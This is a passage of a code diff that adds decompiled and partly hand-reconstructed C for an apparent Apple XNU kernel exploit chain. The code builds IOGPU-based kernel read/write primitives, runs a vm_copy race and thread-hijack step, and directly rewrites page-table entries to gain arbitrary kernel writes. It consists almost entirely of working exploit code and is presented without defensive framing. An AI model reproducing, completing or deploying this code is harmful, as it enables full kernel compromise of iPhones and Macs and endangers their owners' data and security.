+                  v27 = 0;
+                  *a2 = v19;
+                  goto LABEL_35;
+                }
+                v12 = 708617;
+              }
+            }
+          }
+        }
+      }
+    }
+  }
+  else
+  {
+    v12 = 163878;
+  }
+  if ( src_address )
+    vm_deallocate(mach_task_self_, src_address, 0xC000u);
+LABEL_35:
+  if ( v27 )
+    vm_deallocate(mach_task_self_, v27, 0xC000u);
+  if ( v26 )
+    vm_deallocate(mach_task_self_, v26, 0xC000u);
+  if ( address )
+    vm_deallocate(mach_task_self_, address, 0xC000u);
+  if ( target_address )
+    vm_deallocate(mach_task_self_, target_address, 0xC000u);
+  return v12;
+}
+
+//----- (000000000000B460) ----------------------------------------------------
+__int64 __fastcall iogpu_krw_ctx_setup(struct_krwCtx *krwCtx, uint32_t *a2)
+{
+  vm_size_t v2; // x20
+  __int64 result; // x0
+  int v6; // w22
+  mach_port_name_t *v7; // x0
+  __int64 v8; // x23
+  mach_port_name_t v9; // w1
+  __int64 i; // x21
+  mach_port_name_t v11; // w1
+  bool v12; // zf
+  __int64 v13; // x23
+  __int64 v14; // x23
+  uint64_t *v15; // x5
+  __int64 v16; // x8
+  __int64 v17; // x8
+  uint64_t v18; // [xsp+18h] [xbp-88h] BYREF
+  int v20; // [xsp+3Ch] [xbp-64h] BYREF
+  vm_address_t address; // [xsp+40h] [xbp-60h] BYREF
+  mem_entry_name_port_t object[4]; // [xsp+48h] [xbp-50h]
+
+  *(uint64_t *)object = 0;
+  *(uint64_t *)&object[2] = 0;
+  address = 0;
+  v2 = vm_page_size;
+  v20 = -1;
+  if ( krwCtx->xnuVersionPacked < XNU_VERSION_PACKED(8020, 241, 8, 0, 0) )
+    return 708609;
+  result = fd_open_dev_null(&v20);
+  if ( !(uint32_t)result )
+  {
+    v6 = 163878;
+    v7 = (mach_port_name_t *)iosurface_enum_mach_port(krwCtx, kIogpuMachPortSelectors[0]);
+    if ( v7 )
+    {
+      v8 = 0;
+      do
+      {
+        v9 = *v7;
+        object[v8] = *v7;
+        if ( v9 + 1 < 2 || mach_port_mod_refs(mach_task_self_, v9, 0, 1) )
+          break;
+        if ( v8 == 3 )
+        {
+          if ( !vm_map(mach_task_self_, &address, v2, 0, 1, object[0], 0, 0, 3, 3, 2u) )
+          {
+            v13 = *(uint64_t *)address;
+            if ( validate_kaddr_range(krwCtx, *(uint64_t *)address) )
+            {
+              krwCtx->gap_0x19D8 = v13;
+              v14 = *(uint64_t *)(address + 32);
+              if ( validate_kaddr_range(krwCtx, v14) )
+              {
+                krwCtx->iogpuKobjPtr2 = v14;
+                v15 = (uint64_t *)address;
+                v16 = *(uint64_t *)(address + 40);
+                if ( (unsigned __int64)(v16 - 1) <= 0x1F )
+                {
+                  LODWORD(krwCtx->iogpuObjCount) = v16;
+                  v18 = 0;
+                  v6 = iogpu_init_private_ctx(krwCtx, &v18, object[1], object[2], object[3], v15);
+                  if ( !v6 )
+                  {
+                    v17 = v18;
+                    *(uint64_t *)&krwCtx->iogpuKreadFn = (uint64_t)iogpu_kread;
+                    *(uint64_t *)&krwCtx->iogpuKwriteFn = (uint64_t)iogpu_kwrite;
+                    *(uint64_t *)&krwCtx->iogpuKread2Fn = (uint64_t)iogpu_kread2;
+                    *(uint64_t *)&krwCtx->iogpuKwrite2Fn = (uint64_t)iogpu_kwrite2;
+                    *(uint64_t *)&krwCtx->iogpuCtx = v17;
+                    fd_close(v20);
+                    v20 = -1;
+                    v6 = krw_read_validation(krwCtx, 0);
+                    if ( !v6 )
+                    {
+                      *(uint64_t *)&krwCtx->iogpuKreadFn = 0;
+                      v6 = krw_write_validation(krwCtx);
+                      if ( !v6 )
+                        *(uint64_t *)&krwCtx->iogpuKwriteFn = 0;
+                    }
+                  }
+                }
+              }
+            }
+          }
+          break;
+        }
+        v7 = (mach_port_name_t *)iosurface_enum_mach_port(krwCtx, kIogpuMachPortSelectors[v8 + 1]);
+        ++v8;
+      }
+      while ( v7 );
+    }
+    if ( v20 != -1 )
+      fd_close(v20);
+    if ( v6 )
+    {
+      for ( i = 0; i != 4; ++i )
+      {
+        v11 = object[i];
+        if ( v11 + 1 >= 2 )
+          mach_port_deallocate(mach_task_self_, v11);
+      }
+    }
+    if ( address )
+      v12 = v2 == 0;
+    else
+      v12 = 1;
+    if ( !v12 )
+      vm_deallocate(mach_task_self_, address, v2);
+    result = 0;
+    *a2 = v6 == 0;
+  }
+  return result;
+}
+//----- (000000000000B73C) ----------------------------------------------------
+__int64 __fastcall get_iogpu_physmap_base(struct_krwCtx *krwCtx)
+{
+  __int64 v1; // x8
+
+  v1 = krwCtx->iogpuCtx;
+  if ( v1 )
+    return *(uint64_t *)(v1 + 1336);
+  else
+    return 708609LL;
+}
+
+//----- (000000000000B758) ----------------------------------------------------
+void memory_barrier_dsb_isb()
+{
+  __dsb(0xFu);
+  __isb(0xFu);
+}
+
+//----- (000000000000B768) ----------------------------------------------------
+__int64 __fastcall iogpu_kernel_read_op(struct_krwCtx *krwCtx, unsigned __int64 a2, int a3)
+{
+  __int64 v6; // x24
+  __int64 v7; // x22
+  __int64 v8; // x8
+  unsigned __int64 v9; // x23
+  int v10; // w0
+  __int64 v11; // x24
+  int v12; // w0
+  unsigned __int64 port_kaddr; // x0
+  unsigned __int64 v15; // x0
+  int v16; // w0
+  int v17; // w0
+  __int64 v18; // x0
+  __int64 v19; // x24
+  __int64 v20; // x27
+  __int64 v21; // x22
+  __int16 v22; // w26
+  int v23; // w0
+  __int64 v24; // x8
+  int v25; // [xsp+4h] [xbp-3ACh] BYREF
+  unsigned __int64 v26[5]; // [xsp+8h] [xbp-3A8h] BYREF
+  uint64_t v27[5]; // [xsp+30h] [xbp-380h] BYREF
+  uint64_t v28[2]; // [xsp+58h] [xbp-358h] BYREF
+  int v29; // [xsp+68h] [xbp-348h]
+  uint64_t *v30[3]; // [xsp+70h] [xbp-340h] BYREF
+  uint64_t kernelScanCtx[5]; // [xsp+88h] [xbp-328h] BYREF
+  uint64_t v34[2]; // [xsp+B0h] [xbp-300h] BYREF
+  char v35; // [xsp+C4h] [xbp-2ECh]
+  unsigned __int64 v36; // [xsp+D0h] [xbp-2E0h]
+
+  memset(v26, 0, sizeof(v26));
+  memset(v27, 0, sizeof(v27));
+  memset(v34, 0, sizeof(v34));
+  v35 = 0;
+  v36 = 0;
+  v6 = 708619;
+  if ( !(unsigned int)acquire_write_semaphore_lock(krwCtx, 7u, 0x2710u) )
+  {
+    v8 = *(uint64_t *)&krwCtx->mappedKernelRegion;
+    if ( v8 )
+    {
+      if ( *(uint64_t *)&krwCtx->mappedKernelSize )
+      {
+        v9 = *(uint64_t *)(v8 + 344);
+        if ( v9 )
+          goto LABEL_6;
+      }
+    }
+    v30[2] = kernelScanCtx;
+    v34[0] = off_448E0;
+    v34[1] = kernelScanCtx;
+    v12 = parse_xnu_version_string((__int64)&qword_480D8);
+    if ( !v12 )
+    {
+      v7 = 163878;
+      kernelScanCtx[4] = (uint64_t)krwCtx;
+      scan_for_macho_header(kernelScanCtx, krwCtx->gap_0x19D0);
+      port_kaddr = get_task_kobject_addr(krwCtx, mach_task_self_);
+      kernelScanCtx[2] = port_kaddr;
+      if ( port_kaddr && (kernelScanCtx[3] = kreadptr(krwCtx, port_kaddr)) != 0 )
+      {
+        if ( !(unsigned int)init_text_exec_data_const_sections(v30) && !(unsigned int)setup_iokit_notify_dispatch(&qword_48000, v30) )
+        {
+          if ( (unsigned int)exploit_thread_vmcopy_race((__int64)v34)
+            || (unsigned int)krw_ctx_setup_physmap((__int64)&gPhysmapGadgets, v30, (__int64)kernelScanCtx)
+            || (v28[0] = kernelScanCtx, v28[1] = v34, v29 = 0, (unsigned int)thread_hijack_exploit((__int64)v28)) )
+          {
+            get_ppnum_via_kread((__int64)v34);
+          }
+          else
+          {
+            get_ppnum_via_kread((__int64)v34);
+            v25 = 2 * krwCtx->pageSizeOrSomething;
+            v15 = alloc_physmap_page(krwCtx, (unsigned int *)&v25);
+            if ( !v15 )
+            {
+              v7 = 708617;
+              goto LABEL_27;
+            }
+            v9 = v15;
+            v16 = pgtable_walk_wrapper(krwCtx, v15, v27);
+            if ( !v16 )
+              goto LABEL_27;
+            v17 = pgtable_walk_wrapper(krwCtx, v9 + krwCtx->pageSizeOrSomething, v26);
+            if ( !v17 )
+              goto LABEL_27;
+            v18 = map_physpage_for_kobj(krwCtx, v26[0]);
+            if ( !v18 )
+              goto LABEL_27;
+            v19 = v18;
+            v20 = krwCtx->pageMask;
+            v21 = v27[4];
+            v22 = v27[0];
+            v23 = pgtable_walk_wrapper(krwCtx, v27[0] & ~v20, v34);
+            if ( v23 && (v36 & 0xFFFFFFFFC000LL) != 0 )
+            {
+              v30[0] = (uint64_t *)MEMORY[0x400000008];
+              kernelScanCtx[0] = (MEMORY[0x400000008] & 0xFFFF000000003FFFLL) | (v36 & 0xFFFFFFFFC000LL);
+              MEMORY[0x400000008] = kernelScanCtx[0];
+              memory_barrier_dsb_isb();
+              semaphore_timedwait_ns(krwCtx, 0x2710u);
+              *(uint64_t *)((v22 & 0x3FFF) | 0x400004000LL) = (v21 & 0xFFFF000000003FFFLL)
+                                                        | ((((v19 & (unsigned __int64)~v20) >> 14) & 0x3FFFFFFFFLL) << 14);
+              memory_barrier_dsb_isb();
+              MEMORY[0x400000008] = v30[0];
+              semaphore_timedwait_ns(krwCtx, 0x2710u);
+              v24 = *(uint64_t *)&krwCtx->mappedKernelRegion;
+              if ( v24 && *(uint64_t *)&krwCtx->mappedKernelSize )
+                *(uint64_t *)(v24 + 344) = v9;
+LABEL_6:
+              v7 = 163878;
+              v10 = pgtable_walk_wrapper(krwCtx, a2, v34);
+              if ( v10 )
+              {
+                if ( v35 == 3 )
+                {
+                  v11 = v9 + 8 * (((krwCtx->pageSizeOrSomething + (uint32_t)v9) & 0x1FFFFFFu) / krwCtx->pageSizeOrSomething);
+                  if ( (unsigned int)krw_read_thunk(krwCtx, v11, 8, kernelScanCtx) )
+                  {
+                    v27[0] = (kernelScanCtx[0] & 0xFFFF000000003FFFLL) | (((v36 >> 14) & 0x3FFFFFFFFLL) << 14);
+                    if ( v27[0] == kernelScanCtx[0] )
+                      goto LABEL_12;
+                    if ( (unsigned int)kwrite_with_retry(krwCtx, v11, (__int64)v27, 8) )
+                    {
+                      semaphore_timedwait_ns(krwCtx, 0x2710u);
+LABEL_12:
+                      if ( noppl_kwrite32(
+                             krwCtx,
+                             v9 + krwCtx->pageSizeOrSomething + (krwCtx->pageMask & a2),
+                             a3) )
+                      {
+                        v7 = 0;
+                      }
+                      else
+                      {
+                        v7 = 163856;
+                      }
+                      goto LABEL_27;
+                    }
+                    v7 = 163856;
+                  }
+                  else
+                  {
+                    v7 = 163855;
+                  }
+                }
+                else
+                {
+                  v7 = 163857;
+                }
+              }
+LABEL_27:
+              release_write_semaphore_lock(krwCtx, 7u);
+              return v7;
+            }
+          }
+          v7 = 708619;
+          goto LABEL_27;
+        }
+      }
+      else
+      {
+        v6 = 163867;
+      }
+    }
+    v7 = v6;
+    goto LABEL_27;
+  }
+  return 708642;
+}
+// B7FC: variable 'v10' is possibly undefined
+// B8D8: variable 'v12' is possibly undefined
+// BA3C: variable 'v16' is possibly undefined
+// BA54: variable 'v17' is possibly undefined
+// BA88: variable 'v23' is possibly undefined
+// 448E0: using guessed type __int64 (__fastcall *off_448E0[7])();
+
+//----- (000000000000BB3C) ----------------------------------------------------
+unsigned __int64 __fastcall scan_for_macho_header(__int64 *krwCtx, __int64 a2)
+{
+  __int64 i; // x1
+  __int64 v4; // x20
+  unsigned __int64 result; // x0
+
+  for ( i = a2 & 0xFFFFFFFFFFFFC000LL; ; i = *krwCtx - 0x4000 )
+  {
+    *krwCtx = i;
+    if ( (unsigned int)kread_u32_value(krwCtx, i) == (unsigned int)MH_MAGIC_64
+      && (unsigned int)kread_u32_value(krwCtx, *krwCtx + 4) == kCFBundleExecutableArchitectureARM64
+      && (unsigned int)kread_u32_value(krwCtx, *krwCtx + 8) == MH_EXECUTE
+      && (unsigned int)kread_u32_value(krwCtx, *krwCtx + 12) == MH_FILESET )
+    {
+      break;
+    }
+  }
+  v4 = *krwCtx;
+  result = find_kernel_base_ptr(KRWCTX_FROM_UINTPTR(krwCtx[4]));
+  krwCtx[1] = v4 - result;
+  return result;
+}
+
+//----- (000000000000BBF4) ----------------------------------------------------
+__int64 __fastcall acquire_physmap_page_atomic(__int64 a1)
+{
+  vm_size_t v1; // x19
+  mem_entry_name_port_t v2; // w20
+  bool v3; // zf
+  unsigned __int8 *v4; // x22
+  unsigned __int8 v5; // w8
+  vm_address_t address; // [xsp+18h] [xbp-38h] BYREF
+
+  v1 = atomic_load((unsigned __int64 *)(a1 + 13872));
+  v2 = atomic_load((unsigned int *)(a1 + 13880));
+  TRACE_PHYSMAP("physmap worker enter state=%llx size=%llx port=%x flag=%u count=%u\n",
+                (unsigned long long)krwCtx,
+                (unsigned long long)v1,
+                v2,
+                atomic_load((unsigned __int8 *)(a1 + 13884)),
+                atomic_load((unsigned int *)(a1 + 13888)));
+  if ( v1 )
+    v3 = v2 == 0;
+  else
+    v3 = 1;
+  if ( !v3 )
+  {
+    atomic_fetch_add((atomic_uint *volatile)(a1 + 13888), 1u);
+    TRACE_PHYSMAP("physmap worker counted state=%llx count=%u\n",
+                  (unsigned long long)a1,
+                  atomic_load((unsigned int *)(a1 + 13888)));
+    v4 = (unsigned __int8 *)(a1 + 13884);
+    do
+    {
+      v5 = atomic_load(v4);
+      if ( (v5 & 1) != 0 )
+        break;
+      address = 0;
+    }
+    while ( vm_map(mach_task_self_, &address, v1, 0, 0, v2, 0, 1, 1, 1, 1u) == 1 );
+  }
+  TRACE_PHYSMAP("physmap worker exit state=%llx flag=%u count=%u\n",
+                (unsigned long long)a1,
+                atomic_load((unsigned __int8 *)(a1 + 13884)),
+                atomic_load((unsigned int *)(a1 + 13888)));
+  return 0;
+}
+
+//----- (000000000000BCB4) ----------------------------------------------------
+// DONE: this matches the orig asm
+__int64 __fastcall query_vm_region_prot_info(vm_address_t a1)
+{
+    vm_address_t region_address = a1;
+    vm_size_t region_size = 0;
+    uint32_t depth = 0; // 0x13
+    vm_region_submap_info_data_64_t info = {0}; // 16+16+16+13 bytes zeroed
+    mach_msg_type_number_t count = 19; // 0x13
+    
+    kern_return_t kr = vm_region_recurse_64(mach_task_self(),   // w0: loaded from global
+                                            &region_address,    // x1: [x29 - 0x8]
+                                            &region_size,       // x2: [x29 - 0x10]
+                                            &depth,             // x3: [x29 - 0x14]
+                                            (vm_region_recurse_info_t)&info, // x4: [sp + 0x10]
+                                            &count              // x5: [sp + 0xc]
+                                            );
+    
+    // Return address from info struct at offset +0x44 (sp+0x54 = sp+0x10+0x44)
+    // which corresponds to vm_region_submap_info_64.share_mode or similar field
+    return (kr == KERN_SUCCESS) ? *(uint64_t *)&info.object_id_full : NULL;
+}
+
+//----- (000000000000BD20) ----------------------------------------------------
+__int64 __fastcall iokit_slot_alloc_with_mem_entry(__int64 a1, vm_size_t size, __int64 a3, mem_entry_name_port_t *a4)
+{
+    // x25 = a1 + 0x6648  (pointer to slot count)
+    uint32_t *x25 = (uint32_t *)((uint8_t *)a1 + 0x6648);
+    
+    // w26 = retry counter = 256
+    uint32_t w26 = 0x100;
+    
+    // x27 = mach_task_self_ global
+    // w28 = 0x4648 (slot array base offset)
+    uint32_t w28 = 0x4648;
+    
+    do {
+        // +76: ldr w24, [x25]
+        uint32_t w24 = *x25;
+        
+        // +80: cmp w24, #0x3ff
+        // +84: b.hi → return 3
+        if (w24 > 0x3ff)
+            return 3;
+        
+        // x23 = a1 + w24*8 + 0x4648  (pointer to slot entry)
+        uint64_t x23 = a1 + ((uint64_t)w24 << 3) + w28;
+        
+        // +112: vm_allocate(mach_task_self(), x23, size, 3)
+        kern_return_t w0 = vm_allocate(mach_task_self(), (vm_address_t *)x23, size, 3);
+        
+        // +116: cbnz w0 → return error
+        if (w0 != KERN_SUCCESS)
+            return w0;
+        
+        // +120..128: (*x25)++
+        *x25 = w24 + 1;
+        
+        // +132..136: query_vm_region_prot_info(*(uint64_t*)x23)
+        uint64_t x0 = query_vm_region_prot_info(*(uint64_t *)x23);
+        
+        // +140: cbz x0 → return 5
+        if (x0 == 0)
+            return 5;
+        
+        // +144: cmp x0, a3
+        // +148: b.eq → mach_make_memory_entry path
+        if (x0 == a3) {
+            vm_size_t entry_size = size;  // str x21, [sp, #0x8]
+            w0 = mach_make_memory_entry(
+                                        mach_task_self(),
+                                        &entry_size,              // add x1, sp, #0x8
+                                        *(uint64_t *)x23,         // ldr x2, [x23]
+                                        VM_PROT_READ | VM_PROT_WRITE,  // 3
+                                        a4,                       // x19
+                                        0);
+            
+            // +208: cbnz w0 → return error
+            if (w0 != KERN_SUCCESS)
+                return w0;
+            
+            // +212..220: entry_array[w24] = *a4
+            // x9 = a1 + w24*4,  then str at x9+0x3644
+            uint32_t *entry_array = (uint32_t *)((uint8_t *)a1 + 0x3644);
+            entry_array[w24] = (uint32_t)*a4;
+            
+            return KERN_SUCCESS;
+        }
+        
+        // +152: subs w26, w26, #1
+        // +156: b.ne → back to ldr w24, [x25]  (+76)
+        w26--;
+    } while (w26 != 0);
+    
+    return 3;  // exhausted retries (falls through to +160 path)
+}
+
+//----- (000000000000BE20) ----------------------------------------------------
+__int64 __fastcall vm_map_with_retry(vm_address_t *a1, vm_size_t size, vm_address_t mask, int flags, int a5)
+{
+  int v9; // w23
+  __int64 result; // x0
+  vm_address_t address; // [xsp+18h] [xbp-48h] BYREF
+
+  v9 = a5 + 1;
+  while ( 1 )
+  {
+    address = *a1;
+    result = vm_map(mach_task_self_, &address, size, mask, flags, 0, 0, 0, 3, 7, 1u);
+    if ( !(uint32_t)result )
+      break;
+    if ( !--v9 )
+      return result;
+  }
+  *a1 = address;
+  return result;
+}
+
+//----- (000000000000BED0) ----------------------------------------------------
+__int64 __fastcall kernel_read_loop_physmap(struct_krwCtx *krwCtx, __int64 a2, unsigned int a3, __int64 a4)
+{
+  __int64 v7; // x25
+  __int64 v8; // x24
+  vm_size_t v9; // x21
+  int v10; // w20
+  unsigned int v11; // w28
+  __int64 v12; // x10
+  uint64_t *v13; // x20
+  vm_size_t v14; // x27
+  unsigned __int64 v15; // x9
+  unsigned __int64 v16; // x8
+  vm_size_t v17; // x22
+  __int64 v18; // x9
+  vm_size_t v19; // x20
+  unsigned __int8 *v20; // x11
+  unsigned int *v21; // x12
+  unsigned __int64 v22; // x21
+  __int64 v23; // x27
+  mach_port_t *v24; // x25
+  __int64 v25; // x0
+  unsigned int v26; // w21
+  vm_size_t v27; // x27
+  __int64 v28; // x0
+  vm_address_t v29; // x28
+  __int64 v30; // x0
+  __int64 memory_entry_64; // x0
+  pthread_t *v32; // x24
+  unsigned __int64 v33; // x22
+  void *(__cdecl *v34)(void *); // x0
+  unsigned int v35; // w8
+  pthread_t *v36; // x22
+  unsigned __int64 v37; // x25
+  vm_address_t v38; // x25
+  __int64 v39; // x0
+  __int64 v40; // x21
+  __int64 v41; // x27
+  __int64 v42; // x24
+  mach_port_t *v43; // x21
+  unsigned __int64 v44; // x22
+  vm_address_t v45; // x8
+  __int64 v47; // x0
+  unsigned __int64 v48; // x8
+  unsigned __int64 v49; // x8
+  __int64 v50; // x23
+  mach_port_t *v51; // x28
+  __int64 v52; // x8
+  mach_port_t *v53; // x9
+  mach_port_t v54; // w10
+  __int64 v55; // x11
+  unsigned __int64 v56; // x22
+  __int64 v57; // x21
+  unsigned int v58; // w28
+  unsigned __int64 v59; // x23
+  unsigned __int64 v60; // x0
+  unsigned __int64 v61; // x8
+  unsigned __int64 v62; // x9
+  unsigned __int64 v63; // x10
+  unsigned __int64 v64; // x10
+  unsigned __int64 v65; // x9
+  unsigned __int64 v66; // x10
+  __int64 v67; // x20
+  __int64 v68; // x0
+  __int64 v69; // x21
+  unsigned int v70; // w23
+  unsigned __int64 v71; // x28
+  unsigned __int64 v72; // x0
+  unsigned __int64 v73; // x8
+  unsigned __int64 v74; // x9
+  unsigned __int64 v75; // x10
+  unsigned __int64 v76; // x10
+  unsigned __int64 v77; // x9
+  unsigned __int64 v78; // x10
+  mach_port_t v79; // w8
+  __int64 v80; // x12
+  vm_size_t v81; // x8
+  uint64_t *v82; // x9
+  __int64 k; // x8
+  __int64 v84; // x11
+  __int64 v85; // x21
+  __int64 v86; // x21
+  __int64 v87; // x0
+  unsigned __int8 *v88; // x23
+  __int64 v89; // x19
+  pthread_t *v90; // x22
+  __int64 v91; // x25
+  unsigned __int64 v92; // x22
+  bool v93; // w25
+  vm_address_t v94; // x1
+  __int64 m; // x22
+  vm_address_t v96; // x1
+  bool v97; // zf
+  mach_port_t *v98; // x20
+  uint64_t *v100; // x8
+  __int64 v101; // x12
+  vm_size_t v102; // x9
+  uint64_t *v103; // x10
+  __int64 i; // x8
+  __int64 v105; // x11
+  __int64 j; // x8
+  __int64 v107; // x11
+  int v108; // [xsp+Ch] [xbp-484h]
+  vm_size_t v109; // [xsp+10h] [xbp-480h]
+  unsigned int v110; // [xsp+1Ch] [xbp-474h]
+  __int64 v111; // [xsp+28h] [xbp-468h]
+  unsigned int v112; // [xsp+3Ch] [xbp-454h]
+  unsigned __int64 v113; // [xsp+48h] [xbp-448h]
+  __int64 v114; // [xsp+50h] [xbp-440h]
+  __int64 v115; // [xsp+50h] [xbp-440h]
+  __int64 v116; // [xsp+58h] [xbp-438h]
+  __int64 v117; // [xsp+58h] [xbp-438h]
+  unsigned __int64 v118; // [xsp+58h] [xbp-438h]
+  int xnuVer; // [xsp+6Ch] [xbp-424h]
+  vm_size_t v120; // [xsp+70h] [xbp-420h]
+  vm_size_t v121; // [xsp+70h] [xbp-420h]
+  mem_entry_name_port_t v122; // [xsp+78h] [xbp-418h] BYREF
+  mach_msg_type_number_t v123; // [xsp+7Ch] [xbp-414h] BYREF
+  int info[19]; // [xsp+80h] [xbp-410h] BYREF
+  __int128 v125; // [xsp+90h] [xbp-400h]
+  __int128 v126; // [xsp+A0h] [xbp-3F0h]
+  natural_t v127[7]; // [xsp+B0h] [xbp-3E0h] BYREF
+  natural_t v128; // [xsp+CCh] [xbp-3C4h] BYREF
+  vm_size_t v129; // [xsp+D0h] [xbp-3C0h] BYREF
+  vm_address_t v130; // [xsp+D8h] [xbp-3B8h] BYREF
+  memory_object_size_t v131; // [xsp+E0h] [xbp-3B0h] BYREF
+  mach_msg_type_number_t infoCnt; // [xsp+E8h] [xbp-3A8h] BYREF
+  natural_t nesting_depth; // [xsp+ECh] [xbp-3A4h] BYREF
+  vm_size_t v134; // [xsp+F0h] [xbp-3A0h] BYREF
+  vm_address_t v135; // [xsp+F8h] [xbp-398h] BYREF
+  vm_address_t free_region_address;
+  memory_object_size_t size[10]; // [xsp+100h] [xbp-390h] BYREF
+  __int128 v137; // [xsp+120h] [xbp-370h]
+  uint8_t v138[28]; // [xsp+130h] [xbp-360h] BYREF
+  vm_address_t v139; // [xsp+150h] [xbp-340h] BYREF
+  mach_port_t name; // [xsp+15Ch] [xbp-334h] BYREF
+  vm_address_t v141; // [xsp+160h] [xbp-330h] BYREF
+  vm_address_t address; // [xsp+168h] [xbp-328h] BYREF
+  uint64_t v143[16]; // [xsp+170h] [xbp-320h] BYREF
+  uint8_t v144[512]; // [xsp+1F0h] [xbp-2A0h] BYREF
+  uint8_t v145[40]; // [xsp+3F0h] [xbp-A0h] BYREF
+  mach_port_t object_handle[4]; // [xsp+418h] [xbp-78h] BYREF
+
+  v7 = krwCtx;
+  memset(object_handle, 0, sizeof(object_handle));
+  memset(v145, 0, 32);
+  v141 = 0;
+  address = 0;
+  name = 0;
+  v8 = a3;
+  v9 = vm_page_size;
+  v10 = krwCtx->xnuMajorVersion;
+  TRACE_PHYSMAP("kernel_read_loop_physmap start ctx=%llx state=%llx pages=%u out=%llx board=%d page=%llu\n",
+                (unsigned long long)a1,
+                (unsigned long long)a2,
+                a3,
+                (unsigned long long)a4,
+                v10,
+                (unsigned long long)v9);
+  if ( (int)number_of_cpus() >= 3 && (int)number_of_cpus() > 5 )
+  {
+    v11 = 4;
+LABEL_6:
+    v12 = 100;
+    goto LABEL_9;
+  }
+  if ( (int)number_of_cpus() < 3 )
+  {
+    v11 = 1;
+  }
+  else
+  {
+    v11 = number_of_cpus() - 1;
+    if ( v11 > 3 )
+      goto LABEL_6;
+  }
+  v12 = 200;
+LABEL_9:
+  memset(v144, 0, sizeof(v144));
+  memset(v143, 0, sizeof(v143));
+  xnuVer = v10;
+  if ( _os_alloc_once_table[160] == -1 )
+  {
+    v13 = (uint64_t *)_os_alloc_once_table[161];
+    TRACE_PHYSMAP("kernel_read_loop_physmap os_alloc_once cached slot=%llx base=%llx size=%llx\n",
+                  (unsigned long long)v13,
+                  v13 ? (unsigned long long)v13[0] : 0,
+                  v13 ? (unsigned long long)v13[1] : 0);
+  }
+  else
+  {
+    v67 = v12;
+    v68 = (__int64)_os_alloc_once(&_os_alloc_once_table[160], 0x10u, 0);
+    v12 = v67;
+    v13 = (uint64_t *)v68;
+    TRACE_PHYSMAP("kernel_read_loop_physmap os_alloc_once init slot=%llx base=%llx size=%llx\n",
+                  (unsigned long long)v13,
+                  v13 ? (unsigned long long)v13[0] : 0,
+                  v13 ? (unsigned long long)v13[1] : 0);
+  }
+  v14 = v9 * v8;
+#if RECOMP_PHYSMAP_VALIDATE_CACHE
+  if ( *v13 && v13[1] && v13[1] < v14 + 2 * v9 )
+  {
+    TRACE_PHYSMAP("kernel_read_loop_physmap stale cached region base=%llx size=%llx required=%llx; rescanning\n",
+                  (unsigned long long)v13[0],
+                  (unsigned long long)v13[1],
+                  (unsigned long long)(v14 + 2 * v9));
+    *v13 = 0;
+    v13[1] = 0;
+    *(uint64_t *)(a2 + 13864) = 0;
+    atomic_store(0, (unsigned __int64 *)(a2 + 13872));
+  }
+#endif
+  if ( *v13 && (v15 = v13[1]) != 0 )
+  {
+    *(uint64_t *)(a2 + 13864) = *v13;
+    atomic_store(v15, (unsigned __int64 *)(a2 + 13872));
+  }
+  else if ( !*(uint64_t *)(a2 + 13864) )
+  {
+    v115 = v8;
+    v117 = v12;
+    free_region_address = 0;
+    v139 = 0;
+    LODWORD(v135) = 1;
+    memset(size, 0, 19 * sizeof(natural_t));
+    LODWORD(v134) = 19;
+    v42 = vm_region_recurse_64(
+            mach_task_self_,
+            &free_region_address,
+            &v139,
+            (natural_t *)&v135,
+            (vm_region_recurse_info_t)size,
+            (mach_msg_type_number_t *)&v134);
+    if ( (uint32_t)v42 )
+    {
+LABEL_58:
+      v19 = 0;
+      v120 = 0;
+      goto LABEL_170;
+    }
+    while ( 1 )
+    {
+      if ( (unsigned int)v135 > 1 )
+      {
+        v42 = 5;
+        goto LABEL_58;
+      }
+      if ( (uint32_t)v135 == 1 )
+      {
+        v45 = v14 + 2 * vm_page_size;
+        if ( v139 >= v45 && *(memory_object_size_t *)((char *)&size[1] + 4) == 0 )
+          break;
+      }
+      free_region_address += v139;
+      v139 = 0;
+      LODWORD(v135) = 1;
+      memset(size, 0, 19 * sizeof(natural_t));
+      LODWORD(v134) = 19;
+      v47 = vm_region_recurse_64(
+              mach_task_self_,
+              &free_region_address,
+              &v139,
+              (natural_t *)&v135,
+              (vm_region_recurse_info_t)size,
+              (mach_msg_type_number_t *)&v134);
+      if ( (uint32_t)v47 )
+      {
+        v42 = v47;
+        goto LABEL_58;
+      }
+    }
+    v139 = v14 + 2 * vm_page_size;
+    *(uint64_t *)(a2 + 13864) = free_region_address;
+    atomic_store(v45, (unsigned __int64 *)(a2 + 13872));
+    *v13 = free_region_address;
+    v13[1] = v139;
+    TRACE_PHYSMAP("kernel_read_loop_physmap free region base=%llx size=%llx required=%llx\n",
+                  (unsigned long long)free_region_address,
+                  (unsigned long long)v139,
+                  (unsigned long long)(v14 + 2 * vm_page_size));
+    v8 = v115;
+    v12 = v117;
+  }
+  if ( *(uint64_t *)(a2 + 13864) && (v16 = atomic_load((unsigned __int64 *)(a2 + 13872))) != 0 )
+  {
+    v114 = v8;
+    v116 = v12;
+    v110 = a3;
+    v17 = 0;
+    v18 = 0;
+    v19 = atomic_load((unsigned __int64 *)(a2 + 13872));
+    v20 = (unsigned __int8 *)(a2 + 13884);
+    v21 = (unsigned int *)(a2 + 13888);
+    v22 = v11;
+    v109 = v14;
+    v113 = v11;
+    while ( 1 )
+    {
+      v111 = v18;
+      atomic_store(0, v20);
+      atomic_store(0, v21);
+      memset(object_handle, 0, sizeof(object_handle));
+      TRACE_PHYSMAP("kernel_read_loop_physmap iter=%lld workers=%u mem_size=%llx map_base=%llx cached_size=%llx\n",
+                    (long long)v18,
+                    v11,
+                    (unsigned long long)v19,
+                    (unsigned long long)*(uint64_t *)(a2 + 13864),
+                    (unsigned long long)atomic_load((unsigned __int64 *)(a2 + 13872)));
+      if ( v11 )
+        break;
+      v112 = 0;
+      v26 = 0;
+LABEL_25:
+      atomic_store(v26, (unsigned int *)(a2 + 13880));
+      v27 = vm_page_size;
+      v28 = vm_map(mach_task_self_, &address, v19, 0, 1, v26, 0, 0, 1, 1, 1u);
+      if ( (uint32_t)v28 || (v28 = vm_map_with_retry(&v141, v27 + v19, 0x1FFFFFFu, 9, 16), (uint32_t)v28) )
+      {
+        v42 = v28;
+        v120 = v17;
+LABEL_169:
+        v11 = v112;
+        goto LABEL_170;
+      }
+      v120 = v27 + v19;
+      v29 = v141;
+      v30 = vm_copy(mach_task_self_, address, v19, v141);
+      if ( (uint32_t)v30
+        || (v30 = vm_deallocate(mach_task_self_, address, v19), (uint32_t)v30)
+        || (address = 0, v139 = v29 + v19, v30 = vm_allocate(mach_task_self_, &v139, v27, 100679680), (uint32_t)v30)
